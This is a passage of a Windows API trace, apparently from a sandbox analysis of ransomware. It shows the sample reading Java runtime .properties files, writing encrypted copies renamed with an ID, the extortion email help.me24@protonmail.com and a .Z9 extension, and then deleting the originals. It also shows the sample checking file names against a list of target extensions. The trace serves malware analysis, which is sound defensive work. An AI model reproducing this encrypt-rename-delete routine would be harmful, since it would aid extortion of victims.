	[0096.516] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.516] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68
	[0096.516] lstrlenW (lpString=".jpg") returned 4
	[0096.516] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.516] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.516] lstrlenW (lpString="messages_pt_BR.properties") returned 25
	[0096.516] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.522] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3285) returned 1
	[0096.522] CloseHandle (hObject=0x364) returned 1
	[0096.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20
	[0096.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.522] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.522] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.522] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.522] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.523] GetLastError () returned 0x0
	[0096.523] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xcd5, lpOverlapped=0x0) returned 1
	[0096.526] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xce0, lpOverlapped=0x0) returned 1
	[0096.527] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.527] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x106, lpOverlapped=0x0) returned 1
	[0096.527] SetEndOfFile (hFile=0x390) returned 1
	[0096.527] CloseHandle (hObject=0x390) returned 1
	[0096.527] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.527] SetEndOfFile (hFile=0x364) returned 1
	[0096.528] CloseHandle (hObject=0x364) returned 1
	[0096.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.528] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1
	[0096.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.529] lstrlenW (lpString=".doc") returned 4
	[0096.529] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.529] lstrlenW (lpString=".docx") returned 5
	[0096.529] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.529] lstrlenW (lpString=".pdf") returned 4
	[0096.529] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.529] lstrlenW (lpString=".xls") returned 4
	[0096.529] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.529] lstrlenW (lpString=".xlsx") returned 5
	[0096.529] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.529] lstrlenW (lpString=".ppt") returned 4
	[0096.529] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.529] lstrlenW (lpString=".zip") returned 4
	[0096.529] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.529] lstrlenW (lpString=".rar") returned 4
	[0096.529] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.529] lstrlenW (lpString=".bz2") returned 4
	[0096.529] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.530] lstrlenW (lpString=".7z") returned 3
	[0096.530] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.530] lstrlenW (lpString=".dbf") returned 4
	[0096.530] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.530] lstrlenW (lpString=".1cd") returned 4
	[0096.530] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.530] lstrlenW (lpString=".jpg") returned 4
	[0096.530] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.530] lstrlenW (lpString=".doc") returned 4
	[0096.530] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.530] lstrlenW (lpString=".docx") returned 5
	[0096.530] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.530] lstrlenW (lpString=".pdf") returned 4
	[0096.530] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.530] lstrlenW (lpString=".xls") returned 4
	[0096.530] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.530] lstrlenW (lpString=".xlsx") returned 5
	[0096.530] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.530] lstrlenW (lpString=".ppt") returned 4
	[0096.530] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.530] lstrlenW (lpString=".zip") returned 4
	[0096.530] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.530] lstrlenW (lpString=".rar") returned 4
	[0096.530] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.530] lstrlenW (lpString=".bz2") returned 4
	[0096.530] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.530] lstrlenW (lpString=".7z") returned 3
	[0096.530] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.530] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.530] lstrlenW (lpString=".dbf") returned 4
	[0096.531] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.531] lstrlenW (lpString=".1cd") returned 4
	[0096.531] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0096.531] lstrlenW (lpString=".jpg") returned 4
	[0096.531] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.531] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.531] lstrlenW (lpString="messages_zh_CN.properties") returned 25
	[0096.531] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.531] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=4072) returned 1
	[0096.531] CloseHandle (hObject=0x364) returned 1
	[0096.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20
	[0096.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.531] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.532] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.532] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.532] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.532] GetLastError () returned 0x0
	[0096.532] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xfe8, lpOverlapped=0x0) returned 1
	[0096.541] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xff0, lpOverlapped=0x0) returned 1
	[0096.542] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.542] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x106, lpOverlapped=0x0) returned 1
	[0096.542] SetEndOfFile (hFile=0x390) returned 1
	[0096.542] CloseHandle (hObject=0x390) returned 1
	[0096.542] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.543] SetEndOfFile (hFile=0x364) returned 1
	[0096.543] CloseHandle (hObject=0x364) returned 1
	[0096.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.544] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1
	[0096.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.544] lstrlenW (lpString=".doc") returned 4
	[0096.544] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.544] lstrlenW (lpString=".docx") returned 5
	[0096.544] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.544] lstrlenW (lpString=".pdf") returned 4
	[0096.544] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.544] lstrlenW (lpString=".xls") returned 4
	[0096.544] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.544] lstrlenW (lpString=".xlsx") returned 5
	[0096.544] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.544] lstrlenW (lpString=".ppt") returned 4
	[0096.544] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.544] lstrlenW (lpString=".zip") returned 4
	[0096.544] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.544] lstrlenW (lpString=".rar") returned 4
	[0096.544] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.544] lstrlenW (lpString=".bz2") returned 4
	[0096.545] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.545] lstrlenW (lpString=".7z") returned 3
	[0096.545] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.545] lstrlenW (lpString=".dbf") returned 4
	[0096.545] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.545] lstrlenW (lpString=".1cd") returned 4
	[0096.545] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.545] lstrlenW (lpString=".jpg") returned 4
	[0096.545] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.545] lstrlenW (lpString=".doc") returned 4
	[0096.545] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.545] lstrlenW (lpString=".docx") returned 5
	[0096.545] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.545] lstrlenW (lpString=".pdf") returned 4
	[0096.545] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.545] lstrlenW (lpString=".xls") returned 4
	[0096.545] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.545] lstrlenW (lpString=".xlsx") returned 5
	[0096.545] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.545] lstrlenW (lpString=".ppt") returned 4
	[0096.545] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.545] lstrlenW (lpString=".zip") returned 4
	[0096.545] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.545] lstrlenW (lpString=".rar") returned 4
	[0096.545] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.545] lstrlenW (lpString=".bz2") returned 4
	[0096.545] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.545] lstrlenW (lpString=".7z") returned 3
	[0096.545] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.546] lstrlenW (lpString=".dbf") returned 4
	[0096.546] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.546] lstrlenW (lpString=".1cd") returned 4
	[0096.546] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.546] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71
	[0096.546] lstrlenW (lpString=".jpg") returned 4
	[0096.546] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.546] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.546] lstrlenW (lpString="messages_zh_TW.properties") returned 25
	[0096.546] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.546] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3752) returned 1
	[0096.546] CloseHandle (hObject=0x364) returned 1
	[0096.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20
	[0096.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.547] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.547] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.547] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.547] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.547] GetLastError () returned 0x0
	[0096.547] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xea8, lpOverlapped=0x0) returned 1
	[0096.581] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0096.582] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.582] WriteFile (in: hFile=0x390, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x106, lpOverlapped=0x0) returned 1
	[0096.582] SetEndOfFile (hFile=0x390) returned 1
	[0096.582] CloseHandle (hObject=0x390) returned 1
	[0096.582] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.583] SetEndOfFile (hFile=0x364) returned 1
	[0096.583] CloseHandle (hObject=0x364) returned 1
	[0096.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.583] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1
	[0096.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.584] lstrlenW (lpString=".doc") returned 4
	[0096.584] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.584] lstrlenW (lpString=".docx") returned 5
	[0096.584] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.584] lstrlenW (lpString=".pdf") returned 4
	[0096.584] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.584] lstrlenW (lpString=".xls") returned 4
	[0096.584] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.584] lstrlenW (lpString=".xlsx") returned 5
	[0096.584] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.584] lstrlenW (lpString=".ppt") returned 4
	[0096.584] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.584] lstrlenW (lpString=".zip") returned 4
	[0096.584] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.584] lstrlenW (lpString=".rar") returned 4
	[0096.584] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.584] lstrlenW (lpString=".bz2") returned 4
	[0096.584] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.584] lstrlenW (lpString=".7z") returned 3
	[0096.584] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.584] lstrlenW (lpString=".dbf") returned 4
	[0096.584] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.584] lstrlenW (lpString=".1cd") returned 4
	[0096.584] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.585] lstrlenW (lpString=".jpg") returned 4
	[0096.585] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.585] lstrlenW (lpString=".doc") returned 4
	[0096.585] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.585] lstrlenW (lpString=".docx") returned 5
	[0096.585] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.585] lstrlenW (lpString=".pdf") returned 4
	[0096.585] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.585] lstrlenW (lpString=".xls") returned 4
	[0096.585] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.585] lstrlenW (lpString=".xlsx") returned 5
	[0096.585] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.585] lstrlenW (lpString=".ppt") returned 4
	[0096.585] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.585] lstrlenW (lpString=".zip") returned 4
	[0096.585] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.585] lstrlenW (lpString=".rar") returned 4
	[0096.585] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.585] lstrlenW (lpString=".bz2") returned 4
	[0096.585] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.585] lstrlenW (lpString=".7z") returned 3
	[0096.585] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.585] lstrlenW (lpString=".dbf") returned 4
	[0096.585] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.585] lstrlenW (lpString=".1cd") returned 4
	[0096.585] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71
	[0096.585] lstrlenW (lpString=".jpg") returned 4
	[0096.585] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
